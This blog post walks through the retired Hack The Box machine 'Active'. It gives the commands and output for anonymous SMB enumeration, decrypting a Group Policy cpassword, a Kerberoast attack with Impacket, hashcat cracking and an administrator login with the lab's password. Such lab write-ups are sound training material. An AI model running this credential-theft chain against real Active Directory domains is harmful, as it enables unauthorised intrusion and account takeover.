Those Are The Guys!

Two guys who do stuff on twitch: /thosearetheguys

View on GitHub
10 December 2018

Htb Active

by Jake

This week we take a look at the retired Hack The Box machine Active (low-medium difficulty)

Run our nmap scan:

root@kali: nmap -sC -sV -oN nmap

We get the results:

Scanned at 2018-11-12 20:18:46 AEDT for 189s
Not shown: 983 closed ports
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2018-11-12 09:19:05Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 5s, deviation: 0s, median: 5s
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 28249/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 40109/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 54660/udp): CLEAN (Timeout)
|   Check 4 (port 38631/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
|   2.02:
|_    Message signing enabled and required
| smb2-time:
|   date: 2018-11-12 20:20:05
|_  start_date: 2018-11-12 17:38:46

We see a lot of things open, looking at all the open ports we are guessing that this box is an Active Directory Controller. One thing that sticks out is we have SMB. One of the tools in our Kali arsenal is smbmap. We use this tool to enumerate and see if we have anonymous access to any shares.


We can see that we have anonymous read only access to a share called Replication.

Connecting to the share and poking around for a bit until we find an interesting file

root@kali: smbclient \\\\\\Replication -N                                                                                                                          130 ↵
WARNING: The "syslog" option is deprecated
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> 

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>

The contents of this file are interesting, especially the cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" value.

Looking at the rest of the contents we can deduce that the name of the box is active.htb and we have a user called SVC_TGS with the password has above.

But we need to decrypt that password. Looking at the hash and the file that it was found in, we can determine that it is a Group Policy Password. Lucky for us we have a built in tool called gpp-decrypt

root@kali > gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
/usr/bin/gpp-decrypt:21: warning: constant OpenSSL::Cipher::Cipher is deprecated


So, now what we have is the log in credentials for a Service account, (SVC_).

Kerberoasting is the process of cracking a Kerberos Ticket and rebuilding them to gain access to a targeted service. This allows us to take control of services running as other users.. including NT AUTHORITY\SYSTEM

Because we have a service account we are able to attempt to grab some tickets and crack some passwords.

The Impacket suite or tools has everything we need to perform a Kerberoast attack.

Let’s start by grabbing the hashes for any accounts that

root@kali: python -request -dc-ip ACTIVE.htb/SVC_TGS
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet      LastLogon           
--------------------  -------------  --------------------------------------------------------  -------------------  -------------------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-19 05:06:40  2018-07-31 03:17:40 


Looks like the only account is Administrator! And we have the Kerberos hash for the account. Now it’s time to try and crack it.

We used HashCat to make use of our GPUs, but JohnTheRipper should also work.

hashcat64.exe -m 13100 -a 0 active.txt rockyou.txt

and fairly quickly we get a result:


Now that we have the Administrators password we can connect back to SMB and read any file we want:

root@kali: smbclient \\\\\\C$ -U administrator%Ticketmaster1968
WARNING: The "syslog" option is deprecated
Try "help" to get a list of possible commands.
smb: \> dir
  $Recycle.Bin                      DHS        0  Tue Jul 14 12:34:39 2009
  Config.Msi                        DHS        0  Tue Jul 31 00:10:06 2018
  Documents and Settings            DHS        0  Tue Jul 14 15:06:44 2009
  pagefile.sys                      AHS 4294434816  Mon Nov 12 18:10:57 2018
  PerfLogs                            D        0  Tue Jul 14 13:20:08 2009
  Program Files                      DR        0  Thu Jul 19 04:44:51 2018
  Program Files (x86)                DR        0  Thu Jul 19 04:44:52 2018
  ProgramData                        DH        0  Mon Jul 30 23:49:31 2018
  Recovery                          DHS        0  Mon Jul 16 20:13:22 2018
  System Volume Information         DHS        0  Thu Jul 19 04:45:01 2018
  Users                              DR        0  Sun Jul 22 00:39:20 2018
  Windows                             D        0  Mon Jul 30 23:42:18 2018
smb: \> get Users\Administrator\Desktop\root.txt
smb: \> get Users\SVC_TGS\Desktop\user.txt